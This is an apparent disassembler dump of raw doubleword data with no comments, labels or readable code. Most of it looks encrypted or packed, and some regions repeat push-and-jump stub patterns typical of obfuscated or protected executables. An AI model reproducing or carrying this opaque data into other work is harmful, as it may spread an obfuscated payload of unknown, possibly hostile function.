		dd 0FEA9F834h, 0DF92079Ch, 58AD41F2h, 0CCh, 4CDC86E8h
		dd 0A60572DFh, 0AEDA1A03h, 142DB497h, 0E1190091h, 91740D72h
		dd 7FC11900h, 8B1BC81Dh, 1649DE1Eh, 396CD969h, 370FF8Fh
		dd 91859Eh, 7B105219h, 0C353FD30h, 9A42248Bh, 0F49E1900h
		dd 6A7D2C64h, 0D441AE3Dh, 94D66Fh, 4CE12319h, 0ACC20BE7h
		dd 8F1E601Fh, 901FAF5Ch, 5A9C7731h, 2CC13CC3h, 0C974A716h
		dd 0C471A439h, 88EFFE34h, 0D643FC94h, 3E56Ah, 4DDD8600h
		dd 0A535E015h, 0FA8A386Dh, 4DDD8DC2h, 0A333E015h, 19AE6F6Bh
		dd 6FA4DC6Ch, 0C6FB33C3h, 1A4F8717h, 64A8E070h,	0ECD770D5h
		dd 0DF241FAFh, 56D9866Fh, 3FAC19A9h, 0F341DAh, 0EA4C8E19h
		dd 598CF988h, 0FF981FAFh, 4C1900F3h, 2A5F750Ah,	66B8F080h
		dd 0DF4CDC86h, 3A7202ACh, 0B7336CCBh, 23AE1916h, 218E1ECEh
		dd 54FC4CE1h, 19017347h, 73CACFh, 0C2E50219h, 8A6BCE33h
		dd 9EE01FB0h, 25638431h, 0EB376764h, 8FF1FFh, 6458F9Bh
		dd 0E41A5C19h, 0F5E88FFBh, 475AC633h, 24000003h, 7EB3EB7Bh
		dd 0D60B43D3h, 2B609828h, 7EB3EB7Bh, 0D0941D1h,	7A0AB708h
		dd 0D1610D42h, 25B56499h, 7E0EB8EDh, 0E730246h,	1FAFEC75h
		dd 860D7DC2h, 0ACDF4CDCh, 8B3A7202h, 57BC4B5Ch,	1FAA0627h
		dd 1075E224h, 1FA9E00Bh, 655AF390h, 0AD418DB2h,	3D2Bh
		dd 0DB0CBB00h, 2D9A2AD9h, 0C9FC8BEDh, 0DE1E8B1Bh, 0F377DC49h
		dd 581FAA07h, 0E7EB84E9h, 0F6381FA9h, 0D5C22794h, 421FA9E7h
		dd 14AE54B3h, 5A5C6889h, 0BC034AC5h, 0AD425609h, 0EA82h
		dd 0DC861200h, 0FFACDF4Ch, 0FEADE06Fh, 308ED6Eh, 459D4FE3h
		dd 883265B0h, 0A4CD66CBh, 0AB1A1900h, 0A42D46h,	56B8FA19h
		dd 0AA5487F4h, 673E21Ah, 0A488A1h, 84135519h, 0A4061Fh
		dd 0FC91D319h, 0AFB797h, 0E4671119h, 7A137835h,	0C71900AFh
		dd 76B62385h, 0FDA7DC14h, 0FEABDE6Dh, 32C1016Eh, 0AFB4CDh
		dd 0AA3F8119h, 7235B25Fh, 0A9E07EE3h, 0F5371FA9h, 0CED90EBDh
		dd 0F9FEDA3Fh, 0B4D1905h, 0C9C497Ch, 0A40665D4h, 7FD7766h
		dd 8A376AFFh, 0C025C4FAh, 0B01DF5EBh, 21944h, 19A95200h
		dd 7101ACE1h, 0C6560439h, 19A9598Eh, 6FFFACE1h,	0E55A3B37h
		dd 3B70A838h, 92C7FF8Fh, 0E61B53E3h, 3074AC3Ch,	0D3233CA1h
		dd 0ABF01FAFh, 56D9863Bh, 6EAE1BABh, 0F3E17ADFh, 0EC2E1900h
		dd 731D528Ah, 52B444F0h, 53E390C3h, 4C56A8BEh, 0F3E17ADFh
		dd 0EC2E1900h, 6A3DAA57h, 7F076DBh, 0E71A1FAAh,	0FE3EAB3Bh
		dd 65CA3969h, 1FA9E7CCh, 875D719h, 0A9E7F6A3h, 20A3501Fh
		dd 3373E070h, 813164D1h, 660184F1h, 0FC8B0DE7h,	1D8A1AC9h
		dd 80CD48DDh, 41928C3Fh, 0D205ADh, 45780000h, 157A0999h
		dd 1FA9D37Ch, 0A2F287C9h, 0E17ADF4Ch, 2B1900F3h, 3C9DEF7Fh
		dd 0D5ECD4FDh, 0DC71D3A6h, 26FFFA9h, 0F09F22CFh, 2491FE60h
		dd 1EB343F1h, 19E9B9h, 0F9893319h, 52E28CC1h, 4E1978E5h
		dd 6CC53557h, 56913ED3h, 0C2C2932h, 9946652Fh, 0FA5C9C09h
		dd 8EA40998h, 5D1FA914h, 89EB7B28h, 6245A251h, 64F4A0D3h
		dd 0B522B7F7h, 547D750h, 93226419h, 9423B360h, 0B825B561h
		dd 98CDE378h, 0A6255BEBh, 88F5EBBDh, 0ECAF1Bh, 0D67F0000h
		dd 2ED90E46h, 8331669Eh, 0D686BBF3h, 2CD90E46h,	0B768649Ch
		dd 9DD56512h, 0F42CBC68h, 488010BFh, 0A1D96913h, 0D069CE5Dh
		dd 1D1FAFD2h, 0D98668D8h, 32DC1149h, 0C5B413A2h, 4BF8B441h
		dd 15369FEh, 0DF4CDC86h, 3A7202ACh, 0BC4B5C8Bh,	0C94ADA89h
		dd 445CDE85h, 40AD42EDh, 0B02198DBh, 0C979AC1Fh, 0F78CCC39h
		dd 0E51885C7h, 473AB3Bh, 0CBE83897h, 44B23AD7h,	0AF31A4BDh
		dd 9A2F711Fh, 0C02DBD67h, 0BF02B75Bh, 212CA76Ch, 6EA636E0h
		dd 142D92FFh, 0E14EBF7Ch, 2DD70A9Fh, 7C720B70h,	7DBF4EBFh
		dd 0AF598C1Bh, 0D23F8A1Fh, 7C670065h, 72B44EBFh, 6AFAAADDh
		dd 6EDF7AFDh, 0C72CE993h, 4EBF7CAEh, 45AA397Bh,	4EBF7C2Ch
		dd 1D55B7F9h, 41AE3EE8h, 15D5h,	89336600h, 0BA1F8CF9h
		dd 4EBF7CA1h, 75CA2C6Eh, 51A136C6h, 0DD86C739h,	3ADE04Dh
		dd 24D30673h, 48F42794h, 6B184BB8h, 8E3B6EDBh, 0AE5E91FEh
		dd 0D07EB11Eh, 0F5A0D340h, 507FF865h, 405E089h,	2D000000h
		dd 4, 5C240487h, 68243489h, 5280h, 68241489h, 9E8h, 53241C89h
		dd 977BADBBh, 0BEEB8152h, 894BE863h, 241C8BDAh,	4C481h
		dd 24680000h, 89000054h, 4832424h, 515B0424h, 8B9h, 89D90100h
		dd 240C8B11h, 4C481h, 1C8B0000h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 5A2434FFh, 0E904C483h,	0FFFB2690h, 0F4AB8C49h
		dd 77474EA5h, 0DA5C65B5h, 0AF230AB8h, 0FFC50306h, 538CEEE0h
		dd 54347737h, 96BC8248h, 46B2CD6Bh, 5FCB4B57h, 0FEA89222h
		dd 0C3DC7341h, 0DB7AC80Fh, 0AE879h, 74AA0000h, 21DFBB4Bh
		dd 0B84EFC13h, 1B8B0Fh,	13E80000h, 2E000000h, 7E3EF4EEh
		dd 33850E78h, 2ECA724Ch, 15BC6912h, 0C58AEFDEh,	8E0F5A5Eh
		dd 5, 63E18166h, 0DC281C4h, 0F500006Bh,	0F08BFF2Bh, 8B3A1C8Bh
		dd 78F381F1h, 606B0158h, 9E8h, 9A1E7D00h, 91BBB555h, 0EAB8E64Bh
		dd 5B46E6DFh, 8161B9B3h, 49F657EBh, 0E4DC802Fh,	0F52BEB81h
		dd 8B6670F2h, 3A1C89CEh, 66C78B66h, 83BF38B8h, 0B96603EFh
		dd 664F0500h, 6657E181h, 959CFF81h, 850FFFFFh, 0FFFFFFA8h
		dd 0E1816660h, 850FBC9Ch, 6, 21A4F181h,	8D610814h, 0AF250D8Dh
		dd 0A58D2906h, 8906A92Eh, 0A916CD8Dh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
		dd 890A4DF2h, 0A91F6585h, 519D0106h, 0C706A902h, 0A90CE585h
		dd 652C06h, 74F38100h, 0C7382835h, 0A911CD85h, 6, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0A58BA6D3h, 0A770987Bh, 0E0803ED2h, 45B5FFD0h, 8906A900h
		dd 0A914698Dh, 8195FF06h, 5606A932h, 33C5BD89h,	6A5806A9h
		dd 9595FF00h, 8B06A92Dh, 0E929EBC0h, 55EF6586h,	49CC4E28h
		dd 910A2572h, 0C88B4B24h, 0E2C35B52h, 1407A4BCh, 0C522B08h
		dd 0DD71C78h, 0F4F37004h, 2B62C9EDh, 8AE9h, 9F40B100h
		dd 0F5CC4708h, 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch
		dd 0A9E57200h, 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh
		dd 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh
		dd 0F496B99Dh, 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h
		dd 713C33h, 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh
		dd 0BBEFB69Fh, 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh
		dd 0E09h, 2 dup(0)
		dd 0E9000000h, 1021h, 0AF277168h, 5A03E906h, 5068FFFAh
		dd 0E906AF28h, 0FFFA59F9h, 0AF295168h, 59EFE906h, 8468FFFAh
		dd 0E906AF2Ah, 0FFFA59E5h, 0AF2B0D68h, 59DBE906h, 0C668FFFAh
		dd 0E906AF2Bh, 0FFFA59D1h, 0AF2C8068h, 59C7E906h, 2468FFFAh
		dd 0E906AF2Dh, 0FFFA59BDh, 0AF2DDE68h, 59B3E906h, 8768FFFAh
		dd 0E906AF2Eh, 0FFFA59A9h, 0AF2F3968h, 599FE906h, 9168FFFAh
		dd 0E906AF30h, 0FFFA5995h, 0AF32D368h, 598BE906h, 0E168FFFAh
		dd 0E906AF33h, 0FFFA5981h, 0C1BEF68Eh, 4F4C7E1Bh, 0D5D210A9h
		dd 625F912Fh, 0F1EE22BCh, 720C6EB6h, 0FF9B413Eh, 8F2AD0CDh
		dd 13B25855h, 0FA8EE4E1h, 0F4EF8A6Ch, 85A316F5h, 0F1059327h
		dd 0AFFCA415h, 55F49CFEh, 70099123h, 0F78ABC5Bh, 80069948h
		dd 9AFCABE5h, 8EC05FE5h, 39B70B91h, 718513A7h, 2FFCA415h
		dd 116C8E4h, 35E4953Dh,	38B1FD3h, 26D43668h, 0F27E2AB7h
		dd 79326D7h, 0F5FA2CBBh, 593983E6h, 0A00F1A99h,	3AFCh
		dd 6F53BC00h, 3061EF81h, 0F8F27F23h, 9321B547h,	0F5FB0163h
		dd 0E517B53Dh, 931FD436h, 0F5FB012Fh, 56A50F72h, 8E1C35CEh
		dd 0F5FB0168h, 76D88738h, 0FEBA151h, 9BF4A0h, 33B40000h
		dd 49CF6294h, 0CC009EAFh, 48DB8A39h, 5EF123C2h,	0A0739D8h
		dd 0A4126D5Eh, 0AADC7BFCh, 366807ADh, 6B853DA3h, 2F6A4BD9h
		dd 8536F27Fh, 30C00288h, 487C169Eh, 0FAA432E6h,	16EBC7A2h
		dd 0B14BD365h, 48D0827Fh, 6C1476AAh, 0A1279ED2h, 0EC890938h
		dd 0DB03657h, 0CA40000h, 9835DBD8h, 26BF6562h, 0AB49EFECh
		dd 3CD67C79h, 54D00B08h, 5B588C26h, 0E6E319B5h,	6E6BA540h
		dd 0FAF729C8h, 748210A4h, 24F5F4EEh, 993393B1h,	25C46A67h
		dd 3FCD61F3h, 0FCA415B7h, 0AFCE30E1h, 5932771h,	0FCA415F1h
		dd 149CFEAFh, 9ACC6BAEh, 17A95807h, 9561EF83h, 0C9FCA415h
		dd 0A415BB3Bh, 0DC34E5FCh, 74A59791h, 88372474h, 0B6197826h
		dd 3CEDF27Eh, 4D8722AAh, 0F4A90BBAh, 0FA9C5A68h, 98E447F5h
		dd 0F8638BAh, 995DA0h, 331D0000h, 49CF6294h, 56E275AFh
		dd 0FCA41275h, 9B3804A3h, 166EB625h, 6B110EBDh,	0A1079ACCh
		dd 0AF3DCF21h, 0F27EC006h, 0DE646112h, 0EC7A0CE4h, 0EBC76DBFh
		dd 477D19A1h, 29A305B4h, 0C45EE678h, 53ED9390h,	4A44AA21h
		dd 0D0658909h, 0CD1AFh,	0B9EB8300h, 437916BCh, 0CD07A046h
		dd 588C2AD0h, 0E91BB55Bh, 773B1ECh, 9036336Dh, 1DC3C0F4h
		dd 0AD535082h, 89DFDC0Eh, 0ED8F67F5h, 9609F5F4h, 67993378h
		dd 1025C46Ah, 0A4157482h, 0C47324FCh, 1E2AE732h, 0AF6FDC67h
		dd 33F02E4Dh, 49CF6294h, 388CDEAAh, 0B5A36ED1h,	0CA630906h
		dd 0E07F0598h, 77FFB1AEh, 8422A8DAh, 0B61CEE50h, 0A9C546Eh
		dd 4A0EE876h, 3F8AFCA3h, 0F9A769DAh, 0D821D09Ch, 0ADDCA4B5h
		dd 782C8E7Bh, 7E3827EAh, 464EFFF2h, 0ECBE4792h,	60A9DB76h
		dd 3A9C43BFh, 749D358Ch, 519F23DEh, 10E02BBFh, 0FD115107h
		dd 3108B618h, 0AB015BC6h, 0C1548623h, 8536B012h, 0E3368CF2h
		dd 54A23045h, 44051996h, 0A251E493h, 0EBD361F3h, 0BFAE902h
		dd 0A95FE8C0h, 187A0293h, 0D35BED9Eh, 0FD8B1F34h, 0B7DA6F9h
		dd 8C6AF6A7h, 0C0B7DA6h, 9AFAC5Bh, 0B3C1386Ah, 72782DC3h
		dd 0BD0BCDDh, 0EC840000h, 7815BBB8h, 69F4542h, 8B29CFCCh
		dd 1CB65C59h, 74B0EBE8h, 3B386C06h, 0C6C3F995h,	4E4B8520h
		dd 0DAD709A8h, 9462F084h, 4F5F4ECh, 94337391h, 0A93DCF62h
		dd 0BD508221h, 1574820Eh, 7324FCA4h, 0B7398911h, 6FFD9125h
		dd 0FCA41587h, 40CE6011h, 0FCA415B6h, 21CF31E2h, 0F27F2558h
		dd 1CA29F50h, 2AB84AA6h, 0EBD602F7h, 5C8E2DB5h,	4DA937C9h
		dd 4BFCA405h, 0F89EB9Ah, 0EE39CB5Eh, 0FCFFBAD2h, 8F3D9F03h
		dd 0FCA3B433h, 52A10B6Eh, 93F52FCAh, 0B89E846Eh, 4411A6h
		dd 125D0000h, 9A5DD230h, 0DF1F819Bh, 0EF816F53h, 7F57A161h
		dd 8416C7F2h, 0B95861FCh, 0C8E016A4h, 0FC0F5FAh, 6F1ECD60h
		dd 88BA55DDh, 995B0726h, 0D5F5FAC8h, 61070436h,	72FA8CC6h
		dd 883D9FD5h, 0AF167h, 6F532900h, 0A461EF81h, 74F2752Fh
		dd 0AA931C3h, 9635DBD8h, 576BD164h, 3D790799h, 5BEBC60Bh
		dd 0F19018AAh, 7D1CC2BFh, 9226B84Bh, 0A415F204h, 0ABE580FCh
		dd 60116918h, 74073DDAh, 0E7DB63C5h, 24E97709h,	0E4F27F24h
		dd 0BDA2BC33h, 0CE638FA2h, 0A9DADh, 0E51FB700h,	6FA542E8h
		dd 133CC72h, 8CC05E04h,	154FE98Fh, 3347DD18h, 0C46A6799h
		dd 51F7F428h, 0D97F7CB6h, 0B50B083Ah, 0EB639321h, 0CA3DF5F4h
		dd 15952DACh, 0FDC5FCA4h, 0DBD361F3h, 7BF27530h, 0F09D59E7h
		dd 33C1F5F4h, 0F5F4F0C3h, 40D42CDDh, 0F4F044B2h, 0F4A354F5h
		dd 0D5671892h, 0AA5AE4Dh, 7A2C29D8h, 881B59F2h,	30CF77D9h
		dd 0BD056BFEh, 850DA133h, 0A553B5E7h, 0EBCFFFD4h, 749C13C4h
		dd 39890D9Bh, 0A1483A4h, 0A8400000h, 2CC96F6Ch,	0BA53F9F6h
		dd 47E58B88h, 0D8721815h, 0C0649F9Ch, 0E7E420BAh, 726FA541h
		dd 2FF31CCh, 8E8BBD5Ch,	0E016A438h, 0C0F5F4EAh,	94332F4Dh
		dd 0A93DCF62h, 0A415DB1Bh, 0B214C5FCh, 0A7396B0Ah, 15718513h
		dd 7E2FFCA4h, 9E03671Ch, 37E7456h, 7C17A6B9h, 0D7000004h
		dd 0F1059327h, 0AFFCA415h, 0AE149CFEh, 8822B042h, 0A0F27530h
		dd 36D55DEFh, 56DE7204h, 41F083B9h, 0F4F041B5h,	4CAE5FF5h
		dd 59E77B2Dh, 0F5F4F09Dh, 64C4B0FBh, 0C3C0E48Dh, 6B0AB214h
		dd 0A81AA639h, 0B2F5F4E9h, 0C04EE010h, 0EBCFF9B9h, 5E902BB3h
		dd 5AD182FCh, 890D923Ch, 5B3758EDh, 0F9000009h,	80262361h
		dd 0EB4B1E3h, 9C423F75h, 27CDCAFEh, 1B56538Dh, 9DD77109h
		dd 265EFAA0h, 0B6E88329h, 427413B9h, 0CD5BEF45h, 0F5F4EB29h
		dd 33E60477h, 3CD06294h, 0A41548AEh, 15A758FCh,	0A4156F87h
		dd 167829FCh, 0A847CF61h, 0D234E376h, 0C6598B2Ah, 0DA6DA740h
		dd 0F083B554h, 42AC185Bh, 4F3379DEh, 0A6B903A3h, 3B2F2h
		dd 952DB200h, 0C5FCA415h, 0CD61F3FDh, 0E376AC45h, 19214C9Ah
		dd 0ED9CC335h, 493DD8Bh, 5C0DF275h, 86B57FCAh, 0F8DE8BAh
		dd 0D271F9ADh, 5EFDA3A0h, 8F33992Ch, 3841CF61h,	70EBCF31h
		dd 2FA84EDCh, 47F8FC9Dh, 4AEB2198h, 15AA890Dh, 8A1F4h
		dd 0E91BB300h, 73A946ECh, 0FD37D076h, 88BC5A00h, 194BE58Bh
		dd 3743E11Ch, 0C066639Dh, 4DF3F024h, 0DD8380B2h, 0B90F0C3Eh
		dd 0E95F9725h, 0C639F5F4h, 629433A8h, 78AA49CFh, 0D01C81E5h
		dd 0B90400F2h, 1CB941A6h, 12A453E6h, 0A40D7284h, 1B7D2EFCh
		dd 30EBBh, 0E5730700h, 0FCA40E11h, 368EC461h, 2DE32385h
		dd 0FCA415CBh, 63F5FBC7h, 753092D5h, 0AB3DEEF2h, 0E8F18F17h
		dd 0D180134Dh, 0D1039C22h, 0F628C76Fh, 82B453F9h, 0B73989EFh
		dd 91E9725h, 72FAEBD0h,	5F0EA1D3h, 9E0939B0h, 23B8890Dh
		dd 7FD02h, 85BF5700h, 0F45E288h, 0A1D36C12h, 2C60FEA4h
		dd 0B5EF892Fh, 0D3A77DB8h, 640A0739h, 0F19794C8h, 791F1C56h
		dd 55ABA8DAh, 0E8C333C1h, 6ADDF5F4h, 29F274Ch, 27C66ED0h
		dd 22C0D55Bh, 46F5650Eh, 858E2DB3h, 7423B6ECh, 5A9D32C5h
		dd 50EAD12h, 8A87366Ch,	0B8758B67h, 70AA6h, 98CA0000h
		dd 25Bh, 15CB2D5Ah, 0FBC7FCA4h,	41CF63F5h, 0FCA415B5h
		dd 1CD032E3h, 752FD28Eh, 50EC74F2h, 8F40BA1Ch, 0A4D675FDh
		dd 859CC712h, 0F5ED36D5h, 2FCE7493h, 0BE046AFDh, 0F55A032h
		dd 6CA63F0Fh, 27E12AD9h
		dd 0E89CFECEh, 0CF735B5Ah, 138A3BEBh, 890D1F25h, 43D2F388h
		dd 11000007h, 983E3B79h, 26CCC9FBh, 0B45A578Dh,	3FE5E216h
		dd 336E6BA5h, 0B5EF89F1h, 3E7612B8h, 0CE009B41h, 5A8C2BD1h
		dd 0E573075Dh, 0F5F4E911h, 33FE1C8Fh, 49CF6294h, 5EE678AAh
		dd 762B8DBFh, 0F1569EE1h, 232052h, 0A6B8FFF2h, 0EA3h, 0B0986300h
		dd 0E6000001h, 0F78AC25Eh, 2DA6E648h, 0FCA415CAh, 64F6FAC8h
		dd 0AD0F41DCh, 2FAA6BF9h, 0C576F275h, 7D0B9F33h, 0F5F4F079h
		dd 0D1039F27h, 7EE08F3Eh, 730537D6h, 11586028h,	0F052F5CBh
		dd 5A8C2BD1h, 8F6161C7h, 0D3466FFDh, 0A152EBCFh, 0DFF142Ah
		dd 0DF009589h, 69Ah, 0E5E222BAh, 7370A23Fh, 1FE34CDh, 8E8BBD5Bh
		dd 15124EE8h, 96304ADAh, 1BB75D5Ah, 0AB46ECE9h,	37D67C79h
		dd 1EB20805h, 0F4E76690h, 0A1BF32F5h, 0CF629433h, 0E91BB53Dh
		dd 9D45A756h, 0A439CCFEh, 15B41B61h, 0B53B6D0Ch, 3C39E81Ah
		dd 0B8FFD919h, 7BCA6h, 987C0000h, 0FFh,	15CA2D5Ah, 149CFCA4h
		dd 58E04276h, 66F4866Ah, 0F2752FA7h, 0EB0B992Dh, 0B5F5F4F0h
		dd 7728A204h, 8CBE5DE5h, 184AE98Fh, 9264F286h, 1DF5F4F0h
		dd 3E4BD906h, 0DC8DE52Ch, 635FC57Ah, 486DFB8Dh,	58EBCF9Dh
		dd 6AFD37D0h, 0B7950CBBh, 0F6890D35h, 5E84061h,	0D46C0000h
		dd 60FDA3A0h, 0EE872D2Ah, 7311B7B4h, 49E4441h, 8C98D3D0h
		dd 232054EEh, 0AEABE17Dh, 36336D08h, 0C2BFF190h, 0AC4AD86Ch
		dd 0ECF5F4E6h, 94335B79h, 0AA49CF62h, 3BCE04A1h, 33E218B5h
		dd 195CF184h, 1CD6CD3h,	0D5D9218Ch, 100DBCCEh, 0B8DE05EDh
		dd 18B43CA6h, 72282E4h,	0E2000000h, 4698h, 93275A00h, 0A415F105h
		dd 8B27AFFCh, 6817C659h, 8DBF5E06h, 40D1B0FBh, 0CB661070h
		dd 9A22B469h, 0B961C301h, 0B56E81Ah, 79F5FF0Ch,	19CE3041h
		dd 0DA3D87CAh, 5A0C093Bh, 0E6BE38C6h, 29DAFCA3h, 1C84C7h
		dd 33460000h, 43CF6294h, 0FCA4157Eh, 197EC609h,	994B487Ah
		dd 0AD407211h, 0A8578927h, 9F270646h, 8F3ED103h, 0D0327009h
		dd 0C4578928h, 0FA8C645Eh, 161ED866h, 0C97AFCA4h, 0E025B367h
		dd 40F2752Fh, 1E69FD8Fh, 3913C97h, 0F5F475F3h, 8EB3FCADh
		dd 4BF35583h, 60E87AACh, 0D2C8EC2h, 396C867h, 5AE8259Dh
		dd 0F5F4259Ch, 2BB94BFCh, 0F5F425CBh, 0E37524D5h, 0F88BBD5Bh
		dd 0F09FD572h, 6A4CDA8Eh, 36EBC540h, 0CB5FF385h, 0A340B93Dh
		dd 0D436E7FCh, 5E5B8D2Ch, 54E719B8h, 0AC45D4EEh, 0A735C776h
		dd 0F27E4E66h, 907AF1A2h, 0D18FA277h, 4901B3Ch,	2CC40000h
		dd 0B855FBF8h, 46DF8582h, 0CB690F0Ch, 5CF69C99h, 34F02B28h
		dd 7B78AC46h, 60339D5h,	8E8BC560h, 1A1749E8h, 54A230C4h
		dd 44F5F4E5h, 9F27B3D1h, 8C3BCE00h, 0CEE3822Ah,	0A415B640h
		dd 8231E2FCh, 0B13FD385h, 0FCA41545h, 9840A253h, 2153F0F9h
		dd 9D30DF8Eh, 0B4467817h, 0CA8F7D69h, 0F3551ECEh, 1E66A93Eh
		dd 254E1AB9h, 0DA668F9h, 0B6D9D685h, 0A6B8853Ch, 5659h
		dd 6F531900h, 0CC67EF81h, 0EE50FF92h, 5756AC3Ah, 0D058F27Fh
		dd 0D756432h, 6E5E8DBCh, 1B7D2CBFh, 0CA5EF0A1h,	0FB0ABA3Ch
		dd 0D335E6F5h, 0EBFC971Fh, 0DD8C1F51h, 29D1E094h, 3B2136Bh
		dd 2FCC5406h, 59BB6AFDh, 0FA9749ABh, 548625F5h,	0DC16B157h
		dd 3C02849h, 53EA0000h,	61EF816Fh, 0F27F1440h, 5EE47728h
		dd 0ABFA8DBFh, 0E7DB1C68h, 145E9826h, 893AF5FBh, 84336503h
		dd 133D64F2h, 7829EBD6h, 4CCDF57Bh, 40D281B3h, 0B4CD18ACh
		dd 5610D98Ah, 0DA8B6BF7h, 6415FCA3h, 0DAB244D2h, 3DEEFCA3h
		dd 0D9742DDBh, 0C374F27Eh, 0D410AA30h, 3D883A41h, 59B329AEh
		dd 0C92E90F4h, 0EF881063h, 117322B5h, 25B73989h, 0D5770A97h
		dd 706D1EEBh, 67F92BCAh, 0AA0C46DFh, 9ED06FF5h,	49A71BA1h
		dd 0FD9B23B7h, 0F78938CBh, 0A3798D69h, 0F85A0BFCh, 7E88934Ah
		dd 0AF42F3F2h, 0FA869F23h, 559F02F5h, 0AABF5EE6h, 0FA86DA1Ch
		dd 6615C6F5h, 7513DF04h, 2F82A00Fh, 42000000h, 0EF816F53h
		dd 7F233061h, 0D470F8F2h, 0CC5EF1A0h, 59FAA44h,	0DA8938CBh
		dd 88369847h, 0F5FB013Ah, 0DAB80467h, 0A00FEC18h, 0E17Dh
		dd 94333D00h, 0AF49CF62h, 0BD5CE275h, 1B66F88Bh, 56BFB572h
		dd 0B244D291h, 0EEFCA31Dh, 842C8E3Dh, 0AB6B3E5h, 0FCA31AC1h
		dd 922F38D7h, 0AD47CD60h, 1815C473h, 0FA1D372h,	21B3ED87h
		dd 0A3196393h, 2A8C3DFCh, 3DB30F75h, 8ACC17ABh,	9500F751h
		dd 580739D4h, 6AFD37D2h, 4EAB59BBh, 5AF27E19h, 0E2349D0Fh
		dd 0F1A0A7CBh, 9C546EF4h, 31B77C0Ah, 0B263EBC7h, 0C2FE9820h
		dd 4B851FC5h, 9965CD4h,	6B8C2189h, 24Eh, 39366E06h, 0C7C4F693h
		dd 4D4A8821h, 0DAD709A7h, 69669A34h, 0EA84F62Eh, 7713B9B6h
		dd 7A24845h, 8B2AD0CDh,	72065C59h, 0F4E412E4h, 0FD1B8EF5h
		dd 0D5679933h, 1543B341h, 86CFCA4h, 0FE231D3h, 0BA40F149h
		dd 6685E71Dh, 5F912CB4h, 0A1B655FDh, 0A398E313h, 5D0CBDFCh
		dd 6F532260h, 5EA4EF81h, 0DF252BE1h, 48D68AECh,	0F27E7349h
		dd 0FBFB891Dh, 0A5F5FA71h, 26B245F4h, 0F5FA719Ch, 9085305h
		dd 37CD0850h, 2D97FC5Eh, 0FAA856Dh, 0C410A0h, 27D00000h
		dd 0FD4EB4DCh, 0F85AD3BBh, 0EC7FB150h, 598CC66h, 0A3D95279h
		dd 1DE988FCh, 0BA53250Eh, 30C271C8h, 6FE80E9Ch,	7B8FCA3h
		dd 41E086A5h, 0AC167C0Fh, 169CCE6Dh, 0AF427Ah, 972BBF51h
		dd 0A36FED09h, 1360ABFCh, 0FF435E2Ch, 59E77928h, 0FCA3D39Dh
		dd 3AE84AFBh, 0F27ED1BFh, 0A32926D7h, 0B13FD11Fh, 0EBC783A5h
		dd 28B042F3h, 0AF55528Eh, 0E664DB15h, 0A7890942h, 140F112h
		dd 7C140000h, 8A54B48h,	962FD5D2h, 1BB95F5Ch, 0AC46ECE9h
		dd 0E4407B78h, 0CBC8FC96h, 56538925h, 0DEDB15B0h, 6A679938h
		dd 4F28014h, 94F5F4E3h,	99330321h, 9A8BF5CDh, 11C0045Bh
		dd 525BF77Fh, 6ED07FB5h, 0D80AA94Fh, 94339DDBh,	0AA49CF62h
		dd 0EC09A1DEh, 0CD7C3F97h, 0FD961ED0h, 238534C7h, 55F2279Bh
		dd 4BDD8C1Fh, 0A3D539BDh, 7B667FCh, 3E53ED75h, 0A3D446B0h
		dd 0F2A152FCh, 0D7C165Fh, 0A7270091h, 9ED672F8h, 46FA5C0Bh
		dd 74CDCAB8h, 0BD5CE4F2h, 27AF298Bh, 16C5588Ah,	10BFF190h
		dd 0C357EB7Dh, 0F4CEC135h, 0A22EDFF5h, 0F5F4CE54h, 0EE22BC44h
		dd 9635DD3Fh, 0AD4AD264h, 0D335E477h, 666F0EB4h, 7F0598CCh
		dd 6C1BAEE0h, 0E87C0EBDh, 0F4CE9C5Ah, 0E94BFCF5h, 3966A834h
		dd 68ABC448h, 8C27AF1Ch, 0AE10BF52h, 0A3356706h, 0D877801Bh
		dd 0B56413A6h, 0F2117322h, 0E97BAD4Ch, 1457499Eh, 0B416D495h
		dd 0A9DB79FFh, 0D7F48F17h, 513AD49h, 8B3AEBF4h,	0A6D7429h
		dd 0B5BE5DA2h, 750E319h, 0BCC632C9h, 0ED9C4BE1h, 79AB4AF0h
		dd 2ECC54E6h, 0E76D8917h, 7A2BF404h, 32669CBh, 0E8000000h
		dd 9B332D4Dh, 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h
		dd 10AA30C3h, 1DBB41D4h, 39D258EBh, 45E268FBh, 502A7C0Fh
		dd 405E089h, 83000000h,	48704E8h, 0C895C24h, 0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 57242C89h,	0C781E789h
		dd 4, 4EF81h, 3C870000h, 14895C24h, 0DCB95124h,	8144EF59h
		dd 387DFDC9h, 59C98134h, 0F749DA51h, 0B2E181D1h, 8125072Ch
		dd 0EB6CDDE1h, 5BF18171h, 5306AF26h, 0DD89CB89h, 0EC81595Bh
		dd 4, 81242489h, 42404h, 535A0000h, 8B951h
		dd 0CB890000h, 89D30159h, 34FF5B2Bh, 0C4815A24h, 4, 5D2434FFh
		dd 0E904C483h, 0FFFA49F5h, 0F2BC1064h, 6610189h, 3546B87Fh
		dd 0C50306AFh, 5A7BE0FFh, 0A76D3BDEh, 25451CB0h, 9F7716A2h
		dd 1D23006Dh, 1EDC1E05h, 276A16EDh, 0BA8D5742h,	4A8A4C93h
		dd 2DE93606h, 0A1000000h, 794E33h, 0Ah dup(0)
		dd 578E9h, 0B5EF8700h, 3F7512B8h, 0D1039C42h, 5C902ED4h
		dd 0E51FB95Fh, 377ADE8h, 943A3769h, 21C7C4F8h, 0A94F4C86h
		dd 85DBD80Ah, 0DF9363F1h, 9A0DF5F4h, 8B94337Ch,	790CBBEDh
		dd 2A2759F3h, 3B52F078h, 0A41549ADh, 0F7A657FCh, 1C4EED95h
		dd 32640389h, 467C199Fh, 0DB2164B3h, 0B45E068h,	306201A9h
		dd 0C0F28D33h, 6D821DC3h, 0A41617DFh, 21D081FCh, 386C088Eh
